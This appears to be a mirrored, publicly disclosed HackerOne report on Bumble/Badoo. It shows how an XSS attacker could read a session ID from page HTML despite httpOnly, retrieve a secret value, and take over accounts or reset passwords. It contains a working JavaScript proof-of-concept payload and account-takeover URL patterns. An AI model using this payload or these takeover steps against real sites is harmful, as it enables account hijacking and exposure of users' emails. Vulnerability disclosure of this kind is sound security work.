HexBrain

Bumble · Report #119794

Password modification without knowing actual password & httpOnly bypass

Informativestatus
5upvotes
12 Apr 2016disclosed

Summary

Two issues:

Session cookie is returned in HTML source code of /encounters page, which would allow an XSS attacker to steal it, even if httpOnly is activated. A secret value, present in HTML source code of some api.phtml pages, can be used to modify user's password without knowing actual one. Privacy issue : user's email address, hiden in user interface, can be found when sending a POST request to /api.phtml?SERVER_APP_STARTUP Combining these three issues, an XSS attacker can steal session cookie and modify user's password without knowing actual one.

The following POC (works in Chrome latest version) bypasses HttpOnly to retrieve the session cookie, and then do a POST to /api.phtml to retrieve the secret value (see Screenshot):

/POC - BEGIN/ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == XMLHttpRequest.DONE) { a=xmlhttp.responseText.substr(xmlhttp.responseText.search("session_id":"")+13);b=a.substr(0,a.search("""));//alert(b); var xmlhttp2 = new XMLHttpRequest(); xmlhttp2.onreadystatechange = function() { if (xmlhttp2.readyState == XMLHttpRequest.DONE) { a2=xmlhttp2.responseText.substr(xmlhttp2.responseText.search("secret=")+7);b2=a2.substr(0,a2.search("""));alert(b2); } } xmlhttp2.open("POST", "/api.phtml?SERVER_GET_USER"); xmlhttp2.setRequestHeader("Content-Type", "json"); xmlhttp2.setRequestHeader("X-Session-id", b); xmlhttp2.send(JSON.stringify({"$gpb":"badoo.bma.BadooMessage","version":1,"message_type":403,"message_id":13,"body":[{"$gpb":"badoo.bma.MessageBody","message_type":403,"server_get_user":{"$gpb":"badoo.bma.ServerGetUser","user_id":$s.user_id.toString(),"user_field_filter":{"$gpb":"badoo.bma.UserFieldFilter","projection":[100]},"client_source":0}}]})); } } xmlhttp.open("GET", "/encounters",true); xmlhttp.send(); /POC - END/

Note that with the "secret" value and user's UID, an attacker can access user's account anytime using the following URL: https://eu1.badoo.com/access.phtml?UID=[UID]&secret=[secret]

Similarily, user's email can be retrieved by send POST request to /api.phtml?SERVER_APP_STARTUP.

The attacker can then go to the following URL to change user's password: https://eu1.badoo.com/forgot_enter.phtml?code=[secret]&email=[email]

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original